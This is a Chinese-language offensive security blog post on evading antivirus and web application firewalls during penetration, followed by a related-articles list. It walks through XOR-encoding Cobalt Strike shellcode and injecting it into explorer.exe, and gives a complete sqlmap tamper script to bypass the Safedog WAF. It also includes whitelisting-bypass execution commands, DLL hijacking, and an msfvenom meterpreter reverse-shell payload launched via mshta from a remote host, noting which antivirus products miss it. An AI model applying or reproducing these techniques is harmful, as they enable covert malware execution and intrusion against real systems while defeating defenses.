WEB渗透免杀篇-绕过

360白名单

需要足够的权限 360的扫描日志和设置白名单日志位置在:C:\Usersusername\AppData\Roaming\360Safe\360ScanLog

查看扫描日志内容可以查询到白名单文件 日志文件记录的是添加或移除白名单的时间、文件名、hash等信息,otc=1为添加白名单,otc=2为移除白名单或者隔离木马病毒文件等 可以使用这些白名单文件的命名来绕过查杀

内存中解码shellcode绕过av

https://github.com/mhaskar/Shellcode-In-Memory-Decoder 流程 打开一个进程并检索该进程的HANDLE。 在进程中分配空间(检索内存地址)。 将数据(shellcode)写入该进程中。 执行shellcode。 我们可以使用几个Win32 API执行这些步骤: OpenProcess() VirtualAllocEx() WriteProcessMemory() CreateRemoteThread() 正常情况下,我们将原始shellcode直接写入到内存中,但是如果AV /EDR检测到了Shellcode,它们肯定会发出警报 所以我们在二进制文件中使用可逆的方式把shellcode编码,再解码写入内存来规避防护。 比如加、减、异或、交换。 使用cs生成个shellcode

复制代码
使用python进行异或
复制代码
该脚本读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下为我们的密钥)进行异或,将其打印为如下的shellcode :

现在,我们将开始实现将为我们执行shellcode注入的C代码。 编译方式 x86_64-w64-mingw32-gcc decoder.c -o decoder.exe -w 我将逐步介绍每个win32 API。 打开过程并获取一个句柄 我们需要选择一个向其注入shellcode的进程,然后需要检索该过程的句柄,以便可以对其执行一些操作,我们将使用OpenProcess win32 API

复制代码
该代码将您要获取其句柄的进程ID作为第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,为我们打印
复制代码
成功检索到该句柄
检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx()
复制代码
base_address代表分配的内存的地址
16行,我们将打印分配的内存的地址,并将其写入数据
复制代码
0x29d0000作为地址,
使用x64dbg附加explorer.exe进程,转到这里看看

可以看到函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。 接下来我们解码shellcode并写到内存中 即使使用这种类型(这里用的是异或)的编码,我们的shellcode也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。 这里为测试就只使用的0x01

复制代码
这段代码将使用密钥0x01对每个字节进行解码后,将我们的shellcode写入内存中
运行
复制代码
如图所见,我们将每个字节写入地址,现在我们用x64dbg进行调试,然后转到地址 0x3ce0000查看一下:
复制代码
可以看到shellcode已经写入进去了。
下一步就是执行shellcode了
使用CreateRemoteThread()函数来执行

绕过安全狗脚本

复制代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11440AND*/')
        payload=payload.replace('ORDER','order/*!77777cz*/')
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
        payload=payload.replace("USER())","USER/*!77777cz*/())")
        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
        return payload

一些可尝试绕过白名单的执行

复制代码
forfiles /p c:\windows\system32 /m notepad.exe /c <bin> 
explorer.exe /root,"<bin>" 
pcalua.exe -a <bin> 
scriptrunner.exe -appvscript <bin> 
wmic process call create <bin> 
rundll32.exe advpack.dll, RegisterOCX <bin>

DLL劫持

白dll劫持 Processmonitor查找程序加载的dll 使用stud_pe加载dll进去 或 生成payload免杀好粘贴进去,查看目标上有什么软件,本地查找可劫持的dll,劫持好文件后传上去。

Mshta

复制代码
https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.hta
生成
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.bin
>cat 1.bin |base64 -w 0
复制代码
编码后的内容复制到
复制代码
执行
>mshta http://192.168.0.106:1222/1.hta
360执行检测出来,静态动态无法检测、火绒无法检测
相关推荐
见青..4 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道5 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你9 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp000009 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你11 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000001 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全